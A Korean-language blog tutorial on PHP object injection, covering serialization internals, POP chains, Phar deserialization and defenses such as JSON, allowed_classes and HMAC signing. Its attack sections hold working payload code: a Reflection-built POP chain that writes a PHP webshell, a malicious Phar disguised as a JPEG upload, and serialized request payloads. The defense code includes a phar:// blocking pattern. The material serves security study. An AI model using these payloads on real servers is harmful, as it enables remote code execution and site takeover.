PHP Object injection?
애플리케이션 레벨의 취약점으로, 사용자가 제공한 입력값이 적절한 검증 없이 PHP의 unserialize() 함수에 전달될 때 발생한다.
OWASP
PHP Object injection은 상황(Context)에 따라 공격자가 다양한 악의적인 공격을 수행할 수 있게 하는 애플리케이션 계층의 취약점이다.
연계 가능한 공격:
- Code Injection
- SQL Injection
- Path Traversal
- Denial of Service (DoS)
발생 조건
취약점이 성공적으로 익스플로잇 되기 위해서 2가지 조건이 필수적이다.
- 악용 가능한 매직 메서드가 구현된 클래스 존재
- __wakeup(), __destruct(), __toString() 등
- 이들이 "POP Chain"의 시작점이 될 수 있어야 함
- 클래스가 역직렬화 시점에 선언되어 있거나 자동 로딩 지원
- unserialize() 호출 시 해당 클래스가 이미 메모리에 있어야 함
- 또는 Autoloading이 설정되어 있어야 함
왜 직렬화가 필요한가?
HTTP 특성
HTTP는 상태를 유지하지 않는(stateless) 프로토콜로,
- 각 요청이 독립적으로 처리됨
- 이전 요청의 정보를 기억하지 못함
- 로그인 상태, 장바구니 등의 정보를 별도로 저장해야 함
문제 상황
class User {
public $name = "Alice";
public $isAdmin = false;
public $cart = ["item1", "item2"];
}
$user = new User();
이 $user 객체를 파일이나 데이터베이스에 저장하려면 어떻게 해야 할까?
문제점:
- 객체는 메모리 상의 복잡한 구조
- 파일/DB는 기본적으로 문자열 데이터만 저장 가능
- 객체를 그대로는 저장할 수 없음
이에 대한 해결책 → 직렬화
직렬화(Serialization)는 객체를 저장하거나 전송하기 위해 문자열/바이트로 변환하는 과정:
객체 (메모리) -> serialize() -> 문자열 -> 파일/DB/네트워크
문자열 -> unserialize() -> 객체(메모리)
직렬화와 역직렬화
serialize() 함수
class User {
public $username = "alice";
public $email = "alice@example.com";
private $password = "secret123";
}
$user = new User();
$serialized = serialize($user);
echo $serialized;
이 예제를 설명하기 전에, 사전 지식이 하나 필요하다.
객체지향 프로그래밍에서 객체를 생성할 때는 초기화 작업이 필요하다.
new 키워드로 객체를 만들면 PHP는 자동으로 __construct() 메소드를 찾아서 실행한다. 이것을 생성자(constructor)라고 부른다.
생성자의 역할에는 몇 가지가 있다.
- 속성에 초기값 설정
- 필요한 리소스 연결(데이터베이스, 파일 등)
- 객체 사용 전 필요한 검증 수행
출력 결과
O:4:"User":3:{
s:8:"username";s:5:"alice";
s:5:"email";s:17:"alice@example.com";
s:14:"Userpassword";s:9:"secret123";
}
직렬화 포맷 분석
기본 구조:
O:4:"User":3:{...}
│ │ │ │
│ │ │ └─ 속성 개수 (3개)
│ │ └─────── 클래스명 ("User")
│ └────────── 클래스명 길이 (4글자)
└──────────── Object 타입
속성별 분석
1. Public 속성
s:8:"username";s:5:"alice";
│ │ │ │ │ │
│ │ │ │ │ └─ 값: "alice"
│ │ │ │ └───── 값의 길이: 5
│ │ │ └─────── 타입: string
│ │ └──────────────── 속성명: "username"
│ └───────────────────── 속성명 길이: 8
└─────────────────────── 타입: string
2. Private 속성 - 특별한 규칙
s:14:"Userpassword";s:9:"secret123";
││ │
││ └─ 실제로는 "\x00User\x00password"
│└──────────────── 길이가 14인 이유
└───────────────── NULL byte 포함
- Private 속성은 앞/뒤에 NULL 바이트 (\x00)가 추가된다.
- 형식: \x00ClassName\x00propertyName
- 예시: \x00User\x00password
- 길이 계산: 1(NULL) + 4(User) + 1(NULL) + 8(password) = 14
3. Protected 속성
s:8:"\x00*\x00email";s:17:"alice@example.com";
Protected 속성은 클래스명 대신 별포 (*)가 사용된다
- 형식: \x00*\x00propertyName
- 길이 계산: 1(NULL) + 1(*) + 1(NULL) + 5(email) = 8
unserialize() 함수
기본동작
$restored = unserialize($serialized);
var_dump($restored);
출력 결과
object(User)#2 (3) {
["username"]=> string(5) "alice"
["email"]=> string(17) "alice@example.com"
["password":"User":private]=> string(9) "secret123"
}
unserialize()는 문자열을 파싱하여 원래의 User 객체를 메모리에 재생성한다.
이때 중요한 점은 객체의 생성자(__construct())가 호출되지 않는다는 것이다. unserialize()는 직렬화 문자열에 저장된 정보만을 가지고 객체를 복원하기 때문이다.
class User {
public $role = "guest";
public function __construct() {
// 보안 검증
if (!$this->isValidSession()) {
throw new Exception("Invalid session");
}
// 초기화
$this->role = $this->determineRole();
}
}
// 정상 생성
$user1 = new User(); // __construct() 호출됨 ✓
// 역직렬화
$user2 = unserialize($data); // __construct() 호출 안됨 ✗
- 생성자의 모든 검증 로직이 무시됨
- 초기화 코드가 실행되지 않음
- 객체가 불완전한 상태로 생성될 수 있음
Magic Methods(매직 메서드)
PHP에는 특정 상황에서 자동으로 호출되는 특별한 메소드들이 있다.
이들은 Magic Methods라고 부른다. 이름이 모두 두 개의 밑줄 (__)로 시작한다.
앞에서 new 키워드로 객체를 만들면 PHP는 자동으로 __construct() 메소드를 찾아서 실행하는 것을 확인했다.
이게 바로 매직 메서드이다.
역직렬화와 관련하여 가장 중요한 Magic Methods는 다음과 같다.
- __wakeup(): PHP 공식 문서에 따르면
"unserialize()는 __wakeup() 메소드의 존재 여부를 확인하고, 존재한다면 그것을 실행합니다."
이 메소드는 역직렬화가 완료된 직후에 자동으로 호출된다. 원래 용도는 데이터베이스 연결처럼 직렬화할 수 없는 리소스를 다시 연결하기 위한 것이다. - __destruct(): 이것은 소멸자로, PHP 문서에서 "객체에 대한 모든 참조가 제거되거나 객체가 명시적으로 파괴될 때, 또는 스크립트 실행이 끝날 때 자동으로 호출된다"라고 설명한다.
- __toString(): 객체가 문자열로 취급될 때 자동으로 호출된다.
예를 들어 echo $object; 를 실행하면 이 메소드가 호출된다. - __call(): 존재하지 않는 메소드를 호출할 때 자동으로 호출된다.
그 이유는 객체의 생명주기를 관리하기 위해서이다.
일반적인 프로그래밍 언어에서는 객체가 생성될 때 생성자를 호출하고, 소멸될 때 소멸자가 호출된다.
일반 객체 생성:
new Object() → __construct() → [사용] → __destruct()
역직렬화:
unserialize() → __wakeup() → [사용] → __destruct()
↑
__construct() 호출 안됨
- __construct(): 객체 생성 시
- __destruct(): 객체 소멸 시
역직렬화는 특별한 형태의 "객체 생성" 이므로, PHP는 개발자가 이 시점에 필요한 초기화 코드를 실행할 수 있도록 __wakeup()을 제공한다.
문제는 이런 자동 실행 메커니즘이 보안 취약점으로 이어질 수 있다.
왜 echo가 __toString()을 호출하는가?
타입 변환의 필요성
echo "Hello"; // 문자열 → 그대로 출력
echo 123; // 숫자 → 자동으로 문자열 변환
echo true; // 불리언 → "1" 또는 ""로 변환
echo $object; // 객체 → ???
PHP는 객체를 어떻게 문자열로 표현해야 할지 모른다.
이에 대해서 PHP는 객체에 __toString() 메서드가 있다면 자동으로 호출해 문자열 표현을 얻는다
없으면 Fatal error: Object could not be converted to string
이외에 자동 호출되는 다양한 상황:
class Person {
private $name = "Alice";
public function __toString() {
return $this->name;
}
}
$person = new Person();
// 1. echo/print
echo $person; // "Alice"
// 2. 문자열 연결
$greeting = "Hello, " . $person; // "Hello, Alice"
// 3. 문자열 함수
strlen($person); // 5
// 4. 파일 쓰기
file_put_contents("file.txt", $person); // "Alice" 저장
// 5. 문자열 비교
if ($person == "Alice") { } // __toString() 호출
// 6. 정규표현식
preg_match("/Alice/", $person); // __toString() 호출
```
이것이 POP Chain에서 중요한 이유:
- 개발자가 의도하지 않은 상황에서도 호출될 수 있음
- echo 하나로 전체 공격 체인이 시작될 수 있음
PHP Object Injection 취약점
기본 메커니즘
// 취약한 코드
$user_input = $_GET['data'];
$object = unserialize($user_input);
분석
1. 사용자 입력 접수
GET /page.php?data=O:6:"Logger":1:{s:7:"logfile";s:9:"shell.php";}
2. 역직렬화
$object = unserialize($_GET['data']);
// Logger 객체가 메모리에 생성됨
// logfile 속성 = "shell.php"
3. 매직 메서드 자동 호출
// 스크립트 종료 시
// Logger::__destruct() 자동 실행
4. 위험한 동작 수행
class Logger {
public $logfile;
public function __destruct() {
// 공격자가 제어하는 $logfile 사용!
file_put_contents($this->logfile, "log data");
// → shell.php 파일 생성
}
}
개발자들이 이런 실수를 하는 이유?
시나리오 1: 세션 관리의 편의성
// 개발자의 의도: 세션 데이터를 쿠키에 저장
$user = new User();
$user->username = "alice";
$user->role = "admin";
// 직렬화하여 쿠키에 저장
setcookie("session", serialize($user));
// 다음 요청에서 복원
$user = unserialize($_COOKIE['session']);
그런데,
- 쿠키는 클라이언트 측에 저장됨
- 공격자가 쿠키 값을 자유롭게 수정 가능
- 서명/암호화 없이 저장하면 매우 위험
시나리오 2: API 토큰 간편 구현
// JWT 대신 간단하게...
$token = base64_encode(serialize($userData));
// 나중에 복원
$userData = unserialize(base64_decode($token));
문제점:
- Base64는 암호화가 아님 (단순 인코딩)
- 공격자가 토큰을 디코딩 → 수정 → 인코딩 가능
시나리오 3: 캐시 시스템
// Redis에 객체 저장
$cache->set("user:123", serialize($user));
// 나중에 가져오기
$user = unserialize($cache->get("user:123"));
- Redis가 외부에 노출되어 있다면?
- 다른 취약점으로 Redis에 쓰기 가능하다면?
Private 속성을 조작할 수 있는 이유
접근 제어의 작동 방식:
class BankAccount {
private $balance = 1000;
}
$account = new BankAccount();
$account->balance = 9999999; // Fatal error!
Private은 코드 실행 시점에만 보호된다.
직렬화에서의 동작
직렬화/역직렬화는 데이터 변환 과정이지 코드 실행이 아니다.
- serialize(): 객체 → 문자열 (접근 제어 무시)
- unserialize(): 문자열 → 객체(접근 제어 무시)
공격자의 우회 방법
방법 1: Reflection API 사용
$obj = new Target();
$reflection = new ReflectionClass('Target');
// Private 속성 접근 가능하게 설정
$prop = $reflection->getProperty('command');
$prop->setAccessible(true);
// 값 변경
$prop->setValue($obj, 'whoami');
// 직렬화
$payload = serialize($obj);
방법 2: 문자열 직접 작성
// Private 속성 포맷: \x00ClassName\x00propertyName
$payload = 'O:6:"Target":1:{' .
's:15:"' . "\x00" . 'Target' . "\x00" . 'command";' .
's:6:"whoami";' .
'}';
방법 3: NULL 바이트 URL 인코딩
GET /page.php?data=O:6:"Target":1:{s:15:"%00Target%00command";s:6:"whoami";}
- HTTP 전송 시 NULL 바이트(\x00) 를 %00로 인코딩
결과
세 방법 모두 동일한 결과
O:6:"Target":1:{s:15:"\x00Target\x00command";s:6:"whoami";}
unserialize()는 이 문자열을 파싱하여
- Target 클래스의 객체 생성
- Private 속성 command에 whoami 할당
- 접근 제어를 전혀 검사하지 않음
공격 기법
POP Chian (Property Oriented Programming)
POP Chain은 시스템 해킹의 ROP(Return-Oriented Programming)와 유사하게, 여러 클래스의 메서드를 체인처럼 연결하여 최종 목표(RCE, 파일 쓰기 등)를 달성하는 공격 기법
구조:
[진입점] → [중간 가젯 1] → [중간 가젯 2] → ... → [최종 싱크]
구성요소
- 진입점 (Entry Point)
- 자동으로 호출되는 매직 메서드
- 주로 __destruct(), __wakeup(), __toString()
- 중간 가젯 (Gadget)
- 다른 객체의 메서드를 호출하는 "징검다리"
- 각 가젯이 다음 가젯을 호출하며 체인 형성
- 최종 싱크(Sink)
- 실제 공격이 실행되는 위험한 함수
- 예: eval(), system(), file_put_contents()
예제 (2단계 POP Chain)
// === 피해자 서버의 코드 ===
// 1. 진입점 - Template 클래스
class Template {
private $template_data;
public function __destruct() {
// 객체 파괴 시 자동 실행
echo $this->template_data;
// ↑ 만약 이것이 객체라면 __toString() 호출!
}
}
// 2. 최종 싱크 - FileManager 클래스
class FileManager {
private $filename;
private $content;
public function __toString() {
// 문자열 변환 시 자동 실행
file_put_contents($this->filename, $this->content);
return "파일 저장됨";
}
}
// 3. 취약한 코드
$data = $_GET['data'];
$obj = unserialize($data); // 역직렬화
// ... 스크립트 종료 시 __destruct() 자동 호출
공격 페이로드 구성
// === 공격자의 로컬 환경 ===
// 1단계: FileManager 객체 생성 (최종 싱크)
$fileManager = new FileManager();
$ref = new ReflectionClass('FileManager');
// filename 설정
$filenameProp = $ref->getProperty('filename');
$filenameProp->setAccessible(true);
$filenameProp->setValue($fileManager, 'shell.php');
// content 설정 (웹셸 코드)
$contentProp = $ref->getProperty('content');
$contentProp->setAccessible(true);
$contentProp->setValue($fileManager, '<?php system($_GET["cmd"]); ?>');
// 2단계: Template 객체 생성 (진입점)
$template = new Template();
$templateRef = new ReflectionClass('Template');
// template_data에 FileManager 객체 할당
$dataProp = $templateRef->getProperty('template_data');
$dataProp->setAccessible(true);
$dataProp->setValue($template, $fileManager); // ← 객체 연결!
// 3단계: 직렬화
$payload = serialize($template);
echo urlencode($payload);
공격 실행 흐름
1. 공격자가 페이로드 전송
GET /page.php?data=O:8:"Template":1:{...}
2. 피해자 서버에서 역직렬화
$obj = unserialize($_GET['data']);
→ Template 객체 생성
→ template_data = FileManager 객체
3. 스크립트 종료 시
Template::__destruct() 자동 호출
4. __destruct() 내부
echo $this->template_data;
→ template_data는 FileManager 객체
→ FileManager::__toString() 자동 호출
5. __toString() 내부
file_put_contents($this->filename, $this->content);
→ file_put_contents('shell.php', '<?php system(...) ?>');
→ 웹셸 파일 생성!
6. 공격자가 웹셸 실행
http://victim.com/shell.php?cmd=whoami
각 클래스는 개별적으로는 무해하지만
- Template: 단순히 데이터를 출력
- FileManager: 파일 관리 기능
Phar Deserialization
Phar란?
Phar (PHP Archive)는 PHP 애플리케이션을 단일 파일로 패키징하는 포맷이다.
JAR(Java), EXE(Windows)와 유사한 개념으로, 여러 PHP 파일을 하나로 묶을 수 있다.
→ 여기서 핵심은, Metadata 영역에 직렬화된 객체를 저장할 수 있다는 점이다.
위험한 이유?
PHP의 파일 시스템 함수들이 phar:// 래퍼로 파일에 접근할 때
→ Metadata가 자동으로 역직렬화됨
→ unserialize()를 명시적으로 호출하지 않아도 공격이 가능해진다.
일반적인 취약 함수들:
// phar:// 래퍼 사용 시 자동 역직렬화 발생
file_exists('phar://evil.jpg')
fopen('phar://evil.jpg', 'r')
file_get_contents('phar://evil.jpg')
file('phar://evil.jpg')
include('phar://evil.jpg')
require('phar://evil.jpg')
is_file('phar://evil.jpg')
is_dir('phar://evil.jpg')
filesize('phar://evil.jpg')
md5_file('phar://evil.jpg')
stat('phar://evil.jpg')
unlink('phar://evil.jpg')
copy('phar://evil.jpg', 'dest')
// ... 그 외 여러 개 등등
공격 시나리오
1. 악성 Phar 파일 생성
<?php
class Evil {
public $cmd = 'system';
public $arg = 'whoami';
}
// Phar 파일 생성
$phar = new Phar('evil.phar');
$phar->startBuffering();
// 더미 파일 추가
$phar->addFromString('test.txt', 'dummy content');
// Metadata에 악성 객체 삽입
$evilObj = new Evil();
$phar->setMetadata($evilObj); // ← 여기서 직렬화됨
$phar->stopBuffering();
?>
2. 파일 확장자 위장
# Phar는 앞부분에 다른 데이터가 있어도 작동
mv evil.phar evil.jpg
# 또는 실제 이미지 헤더 추가
cat real_image.jpg evil.phar > evil.jpg
# 이미지 파일로 위장했지만, 내부에는 Phar 구조
3. 서버에 업로드
<!-- 일반적인 이미지 업로드 폼 -->
<form method="post" enctype="multipart/form-data">
<input type="file" name="profile_pic">
<input type="submit" value="Upload">
</form>
서버는 확장자만 확인:
// 취약한 업로드 검증
$ext = pathinfo($_FILES['profile_pic']['name'], PATHINFO_EXTENSION);
if ($ext == 'jpg') {
move_uploaded_file($_FILES['profile_pic']['tmp_name'],
'uploads/' . $_FILES['profile_pic']['name']);
// → uploads/evil.jpg 저장됨
}
4. 취약한 코드 트리거
// 개발자가 작성한 정상적인 코드
$filename = $_GET['file'];
// 파일 존재 여부 확인
if (file_exists($filename)) {
echo "파일이 존재합니다!";
}
5. 공격 실행
GET /check.php?file=phar://uploads/evil.jpg
실행 과정
- file_exists('phar://uploads/evil.jpg') 호출
- PHP가 phar:// 래퍼 인식
→ evil.jpg를 Phar로 파싱 - Metadata 영역 접근
→ 저장된 직렬화 데이터 발견 - 자동으로 unserialize() 실행
→ Evil 객체 생성 - Evil::__wakeup() 또는 __destruct() 호출
→ RCE 발생
분명 unserialize() 호출이 코드에 없고, 일반 파일 함수만 사용했으며, 확장자 검사 했음에도 터짐
Private/Protected 속성 조작 및 WAF 우회
Private 속성 직렬화 포맷
class User {
public $name = "Alice"; // public
protected $email = "a@b.com"; // protected
private $password = "secret"; // private
}
직렬화 결과:
O:4:"User":3:{
s:4:"name";s:5:"Alice";
s:8:"\x00*\x00email";s:7:"a@b.com";
s:14:"\x00User\x00password";s:6:"secret";
}
공격 방법: NULL 바이트 인코딩
터미널에서:
O:4:"User":1:{s:14:"\x00User\x00password";s:4:"hack";}
HTTP 요청 시:
POST /api/deserialize HTTP/1.1
Content-Type: application/x-www-form-urlencoded
data=O:4:"User":1:{s:14:"%00User%00password";s:4:"hack";}
NULL 바이트 \x00를 URL 인코딩 %00으로 변환하여 전송
WAF 우회
- Hex 인코딩
- 대소문자 혼합
- Plus 부호 활용
- 길이 계산 오류 유도
- etc.
방어 기법
1. unserialize() 사용 X
// bad case
$data = serialize($object);
$object = unserialize($data);
// good case
$data = json_encode($object);
$object = json_decode($data, true);
JSON
- 직렬화된 클래스 정보가 없음
- 매직 메서드가 호출되지 않음
- 객체가 아니 배열로 복원
2. allowed_classes 옵션 사용
만약, 불가피하게 unserialize()를 사용해야 한다면:
참고로, PHP 7.0 이상에서만 발생
// 클래스 객체를 절대 허용하지 않음
$data = unserialize($input, ['allowed_classes' => false]);
// → 모든 객체가 __PHP_Incomplete_Class로 변환됨
// 특정 클래스만 허용
$data = unserialize($input, [
'allowed_classes' => ['SafeClass1', 'SafeClass2']
]);
입력 검증
서명 검증
// 직렬화 시
$data = serialize($object);
$signature = hash_hmac('sha256', $data, SECRET_KEY);
$package = $signature . ':' . $data;
// 역직렬화 시
list($sig, $data) = explode(':', $package, 2);
$expected = hash_hmac('sha256', $data, SECRET_KEY);
if (!hash_equals($expected, $sig)) {
die("변조 감지!");
}
$object = unserialize($data, ['allowed_classes' => false]);
→ hash_eqauls()를 사용하여 타이밍 공격 방지
암호화
// 직렬화 후 암호화
$data = serialize($object);
$encrypted = openssl_encrypt(
$data,
'aes-256-cbc',
ENCRYPTION_KEY,
0,
INIT_VECTOR
);
// 복호화 후 역직렬화
$decrypted = openssl_decrypt(
$encrypted,
'aes-256-cbc',
ENCRYPTION_KEY,
0,
INIT_VECTOR
);
$object = unserialize($decrypted, ['allowed_classes' => false]);
Phar 공격 방어
phar.readonly 설정
php.ini:
phar.readonly = 1
- 새로운 Phar 파일 생성 불가
Stream Wrapper 비활성화
// 스크립트 시작 시
stream_wrapper_unregister('phar');
// 이후 phar:// 사용 불가
file_exists('phar://evil.jpg'); // Warning!
입력 검증
function validatePath($path) {
// phar:// 프로토콜 차단
if (preg_match('/^phar:\/\//i', $path)) {
die("Phar protocol not allowed!");
}
// 실제 파일 경로만 허용
$realPath = realpath($path);
if ($realPath === false) {
die("Invalid path!");
}
// 업로드 디렉토리 내부인지 확인
if (strpos($realPath, UPLOAD_DIR) !== 0) {
die("Path traversal detected!");
}
return $realPath;
}
// 사용
$safe_path = validatePath($_GET['file']);
if (file_exists($safe_path)) {
// ...
}
WordPress
1. 코어 설계부터 직렬화에 의존
WordPress는 설계부터 다음과 같이 serialize() / unserialize()에 크게 의존한다.
// 1. Options 테이블
update_option('theme_mods', $data);
// 내부적으로 serialize() 사용
// 2. Meta 테이블
update_post_meta($post_id, 'custom_data', $array);
// 내부적으로 serialize() 사용
update_user_meta($user_id, 'preferences', $array);
// 내부적으로 serialize() 사용
2. 광범위한 공격 표면
- AJAX 핸들러
// 인증된 사용자용
add_action('wp_ajax_save_data', 'handler');
// 비인증 사용자용 (누구나 접근 가능!)
add_action('wp_ajax_nopriv_save_data', 'handler');
- REST API
register_rest_route('myplugin/v1', '/save', [
'callback' => 'save_callback',
// permission_callback 누락 시 누구나 접근!
]);
- Shortcode
add_shortcode('custom', 'shortcode_handler');
// 게시글 편집 권한만 있으면 공격 가능
- Admin Action Hook
add_action('admin_action_export', 'export_handler');
- Widget 업데이트
class MyWidget extends WP_Widget {
public function update($new, $old) {
// 취약점 발생 가능
}
}
3. 개발자들의 인식 부족
PatchStack Academy
We don't recommend doing the deserialization using the un serialize ormaybe_unserialize functions.
For more complex data, we can use other data formats such as JSON.
하지만 많은 개발자가
- WordPress 코어가 하니까 따라 함
- unserialize() 위험성을 모름
- JSON 대안을 고려하지 않음
PatchStackAcademy 권장사항
// bad case
$data = unserialize($_POST['data']);
$data = maybe_unserialize($_POST['data']);
// good case
$data = json_decode($_POST['data'], true);
// 불가피한 경우
$data = unserialize($input, ['allowed_classes' => false]);
- 그 외에도 WAF 규칙 등 참고
참고자료
https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
https://patchstack.com/academy/wordpress/vulnerabilities/php-object-injection/
'Web Study' 카테고리의 다른 글
| CSWSH (0) | 2026.04.28 |
|---|---|
| XSS-Leaks: Leaking Cross-Origin Redirects (0) | 2026.04.27 |
| Directory Listing (0) | 2026.03.04 |
| Host Split Attack (0) | 2026.03.04 |
| HTTP Session Hijacking (0) | 2026.03.04 |